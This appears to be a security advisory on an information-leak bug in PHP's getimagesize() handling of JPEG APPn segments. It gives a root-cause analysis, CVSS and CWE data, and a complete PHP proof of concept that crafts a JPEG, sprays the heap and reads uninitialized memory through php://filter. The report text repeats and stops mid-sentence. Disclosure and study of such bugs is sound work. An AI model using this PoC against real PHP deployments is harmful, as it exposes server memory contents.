Researcher discovered zero-day vulnerability «Information Leak of Memory» in PHP EXT/STANDARD.
This report includes a minimal proof‑of‑concept that demonstrates a bug in php-src/ext/standard/image.c where APPn data read for getimagesize(..., $info) may be corrupted and contain uninitialized heap bytes.
poc.php is a minimal Proof of Concept (Listing 1). Writes a small JPEG (min.jpg), reads it through php://filter to force multi‑chunk reads and prints a human‑readable verdict with an inline leak marker snippet when found.
The steps below outline the vulnerability reproduction.
• Use the last PHP cli: ./php8.5.1 poc.php
• Output shows:
- Expected/actual APP1 length
- Expected vs returned APP1 head (hex)
- Result: VULNERABLE … or Result: OK …
- If vulnerable: Leak marker found: offset=… and a short ASCII/HEX snippet with the marker highlighted in [].
Note, the issue triggers under multi‑chunk reads. Reading directly from file or from a string often returns in one read and may not reproduce. The PoC uses php://filter/... specifically to ensure chunked reading.
php_read_stream_all_chunks() writes every chunk into the start of the buffer without advancing the destination pointer. The function then reports success as if the full buffer were filled, so the tail may contain uninitialized memory and the head is overwritten by the last chunk. That buffer is stored into $info['APPn'].
Listing 1. PoC Source Code
<?php
// Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter
$file = __DIR__ . '/min.jpg';
// Make APP1 large enough so it is read in multiple chunks
$chunk = 8192;
$tail = 123;
$payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('Z', $tail);
$app1Len = 2 + strlen($payload);
// Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI
$sof = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) . "\x01\x11\x00";
$jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof . "\xFF\xD9";
file_put_contents($file, $jpeg);
// Mini heap-spray: fill heap with a marker and free it, so the C buffer
// can reuse those areas and return marker remnants in $info['APP1']
$marker = 'LEAK-MARKER-123!';
$spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1, strlen($marker))), 0, strlen($payload));
$spray = [];
for ($i = 0; $i < 512; $i++) {
$x = $spr; $x[0] = chr($i & 0x7F); // COW -> distinct allocations
$spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();
// Read through a filter to enforce multiple reads
$src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info['APP1'])) {
echo "Error: failed to obtain APP1 from getimagesize().\n";
exit(1);
}
$exp = $payload;
$ret = $info['APP1'];
// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo "APP1 length: expected=$lenExp, actual=$lenRet\n";
echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0, 16)), "\n";
echo "Returned APP1 head (HEX): ", bin2hex(substr($ret, 0, 16)), "\n";
echo ($exp === $ret)
? "Result: OK — data matches.\n"
: "Result: VULNERABLE — data differs (corruption/leak).\n";
// If found — show marker offset and a short snippet
$pos = strpos($ret, $marker);
if ($pos !== false) {
echo "Leak marker found: offset=$pos (inside returned APP1).\n";
$ctx = 12; // bytes of context left/right
$start = max(0, $pos - $ctx);
$end = min(strlen($ret), $pos + strlen($marker) + $ctx);
$before = substr($ret, $start, $pos - $start);
$mid = substr($ret, $pos, strlen($marker));
$after = substr($ret, $pos + strlen($marker), $end - ($pos + strlen($marker)));
$sanitize = function ($s) {
return preg_replace('/[^\x20-\x7E]/', '.', $s);
};
$asciiLine = $sanitize($before) . '[' . $mid . ']' . $sanitize($after);
$hexLine = bin2hex($before) . '[' . bin2hex($mid) . ']' . bin2hex($after);
echo "Snippet with marker (ASCII, marker in []): ", $asciiLine, "\n";
echo "Snippet with marker (HEX, marker in []): ", $hexLine, "\n";
} else if ($exp !== $ret) {
echo "Marker not found, but data differs — still indicates a read bug.\n";
}
Figure 1.
This issue was originally not classified as a security issue due to usage of stream filter in recreation of the issue and the fact that only realy image file is supposed to be used. However, after deeper investigation during the fix, it was discovered that this can be exploitable if attacker knows the stream chunk size (which is mostly default) even on normal image. Such attack would be more complex but possible.
Information Leak of Memory
Product: PHP EXT/STANDARD
Version: 8.6.0
CWE-ID:
• CWE-524: Use of Cache Containing Sensitive Information
• CAPEC-204: Lifting Sensitive Data Embedded in Cache
CVSS vector v.4.0: 6.3 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)
Description: The application insufficiently controls access to information processed by the application data caching tool. As a result, an attacker can gain access to cached data.
Mitigation: Restrict access to information processed by the application data caching tool. Additionally, avoid caching information when unnecessary and, where possible, ensure cache encryption.
Researcher: Nikita Sveshnikov (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Information Leak of Memory» in PHP EXT/STANDARD.
This report includes a minimal proof‑of‑concept that demonstrates a bug in php-src/ext/standard/image.c where APPn data read for getimagesize(..., $info) may be corrupted and contain uninitialized heap bytes.
poc.php is a minimal Proof of Concept (Listing 1). Writes a small JPEG (min.jpg), reads it through php://filter to force multi‑chunk reads and prints a human‑readable verdict with an inline leak marker snippet when found.
Vulnerability reproduction
The steps below outline the vulnerability reproduction.
• Use the last PHP cli: ./php8.5.1 poc.php
• Output shows:
- Expected/actual APP1 length
- Expected vs returned APP1 head (hex)
- Result: VULNERABLE … or Result: OK …
- If vulnerable: Leak marker found: offset=… and a short ASCII/HEX snippet with the marker highlighted in [].
Note, the issue triggers under multi‑chunk reads. Reading directly from file or from a string often returns in one read and may not reproduce. The PoC uses php://filter/... specifically to ensure chunked reading.
Vulnerability analysis
php_read_stream_all_chunks() writes every chunk into the start of the buffer without advancing the destination pointer. The function then reports success as if the full buffer were filled, so the tail may contain uninitialized memory and the head is overwritten by the last chunk. That buffer is stored into $info['APPn'].
Listing 1. PoC Source Code
Security impact
This issue was originally not classified as a security issue due to usage of stream filter in recreation of the issue and the fact that only realy image file is supposed to be used. However, after deeper investigation during the fix, it was discovered that this can be exploitable if attacker knows the stream chunk size (which is mostly default) even on normal image. Such attack would be more complex but possible.
This issue It should be noted that this does not require